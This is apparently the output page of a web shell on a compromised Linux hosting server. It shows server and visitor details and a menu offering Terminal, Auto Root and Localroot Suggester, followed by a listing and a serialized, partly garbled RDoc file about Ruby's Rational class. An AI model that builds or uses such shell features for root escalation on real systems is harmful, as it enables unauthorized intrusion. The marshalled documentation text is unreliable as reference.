Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.188
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby20 /
share /
ri /
2.0.0 /
system /
Rational /
Delete
Unzip
Name
Size
Permission
Date
Action
compatible
[ DIR ]
drwxr-xr-x
2026-05-01 04:24
%2a%2a-i.ri
379
B
-rw-r--r--
2023-07-26 17:38
%2a-i.ri
653
B
-rw-r--r--
2023-07-26 17:38
%2b-i.ri
652
B
-rw-r--r--
2023-07-26 17:38
%2d-i.ri
654
B
-rw-r--r--
2023-07-26 17:38
%2f-i.ri
684
B
-rw-r--r--
2023-07-26 17:38
%3c%3d%3e-i.ri
736
B
-rw-r--r--
2023-07-26 17:38
%3d%3d-i.ri
671
B
-rw-r--r--
2023-07-26 17:38
as_json-i.ri
252
B
-rw-r--r--
2023-07-26 17:38
cdesc-Rational.ri
2.88
KB
-rw-r--r--
2023-07-26 17:38
ceil-i.ri
853
B
-rw-r--r--
2023-07-26 17:38
denominator-i.ri
662
B
-rw-r--r--
2023-07-26 17:38
fdiv-i.ri
591
B
-rw-r--r--
2023-07-26 17:38
floor-i.ri
862
B
-rw-r--r--
2023-07-26 17:38
inspect-i.ri
540
B
-rw-r--r--
2023-07-26 17:38
json_create-c.ri
266
B
-rw-r--r--
2023-07-26 17:38
numerator-i.ri
560
B
-rw-r--r--
2023-07-26 17:38
quo-i.ri
688
B
-rw-r--r--
2023-07-26 17:38
rationalize-i.ri
770
B
-rw-r--r--
2023-07-26 17:38
round-i.ri
893
B
-rw-r--r--
2023-07-26 17:38
to_d-i.ri
840
B
-rw-r--r--
2023-07-26 17:38
to_f-i.ri
545
B
-rw-r--r--
2023-07-26 17:38
to_i-i.ri
632
B
-rw-r--r--
2023-07-26 17:38
to_json-i.ri
252
B
-rw-r--r--
2023-07-26 17:38
to_r-i.ri
443
B
-rw-r--r--
2023-07-26 17:38
to_s-i.ri
501
B
-rw-r--r--
2023-07-26 17:38
truncate-i.ri
878
B
-rw-r--r--
2023-07-26 17:38
Save
Rename
U:RDoc::NormalClass[iI" Rational:ET@I"Numeric;To:RDoc::Markup::Document:@parts[ o;;[ : @fileI"*ext/bigdecimal/lib/bigdecimal/util.rb;T:0@omit_headings_from_table_of_contents_below0o;;[ ; I"&ext/json/lib/json/add/rational.rb;T; 0o;;[ o:RDoc::Markup::Paragraph;[I"PWhen mathn is required Rational is changed to simplify the use of Rational ;TI"operations.;To:RDoc::Markup::BlankLine o;;[I"Normal behaviour:;T@o:RDoc::Markup::Verbatim;[I"1Rational.new!(1,3) ** 2 # => Rational(1, 9) ;TI"$(1 / 3) ** 2 # => 0 ;T:@format0o;;[I"require 'mathn' behaviour:;T@o; ;[I"%(1 / 3) ** 2 # => 1/9;T;0; I"lib/mathn.rb;T; 0o;;[o;;[I"FA rational number can be represented as a paired integer number; ;TI"Ga/b (b>0). Where a is numerator and b is denominator. Integer a ;TI"(equals rational a/1 mathematically.;T@o;;[I"DIn ruby, you can create rational object with Rational, to_r or ;TI"@rationalize method. The return values will be irreducible.;T@o; ;[ I" Rational(1) #=> (1/1) ;TI" Rational(2, 3) #=> (2/3) ;TI"!Rational(4, -6) #=> (-2/3) ;TI" 3.to_r #=> (3/1) ;T;0o;;[I"HYou can also create rational object from floating-point numbers or ;TI" strings.;T@o; ;[ I"?Rational(0.3) #=> (5404319552844595/18014398509481984) ;TI"!Rational('0.3') #=> (3/10) ;TI" Rational('2/3') #=> (2/3) ;TI" ;TI"?0.3.to_r #=> (5404319552844595/18014398509481984) ;TI"!'0.3'.to_r #=> (3/10) ;TI" '2/3'.to_r #=> (2/3) ;TI"!0.3.rationalize #=> (3/10) ;T;0o;;[I"DA rational object is an exact number, which helps you to write ;TI")program without any rounding errors.;T@o; ;[I"J10.times.inject(0){|t,| t + 0.1} #=> 0.9999999999999999 ;TI"=10.times.inject(0){|t,| t + Rational('0.1')} #=> (1/1) ;T;0o;;[I"HHowever, when an expression has inexact factor (numerical value or ;TI"0operation), will produce an inexact result.;T@o; ;[ I"#Rational(10) / 3 #=> (10/3) ;TI"/Rational(10) / 3.0 #=> 3.3333333333333335 ;TI" ;TI"$Rational(-8) ** Rational(1, 3) ;TI"D #=> (1.0000000000000002+1.7320508075688772i);T;0; I"rational.c;T; 0; 0; 0[ [ [ [[I" class;T[[:public[[I"json_create;FI"&ext/json/lib/json/add/rational.rb;T[:protected[ [:private[ [I" instance;T[[;[[I"*;TI"rational.c;T[I"**;TI"lib/mathn.rb;T[I"+;T@p[I"-;T@p[I"/;T@p[I"<=>;T@p[I"==;T@p[I"as_json;F@d[I" ceil;T@p[I"denominator;T@p[I" fdiv;T@p[I" floor;T@p[I"inspect;T@p[I"numerator;T@p[I"quo;T@p[I"rationalize;T@p[I" round;T@p[I" to_d;FI"*ext/bigdecimal/lib/bigdecimal/util.rb;T[I" to_f;T@p[I" to_i;T@p[I"to_json;F@d[I" to_r;T@p[I" to_s;T@p[I" truncate;T@p[;[ [;[ [ [U:RDoc::Context::Section[i 0o;;[ ; 0; 0[ @ @@%@X@XcRDoc::TopLevel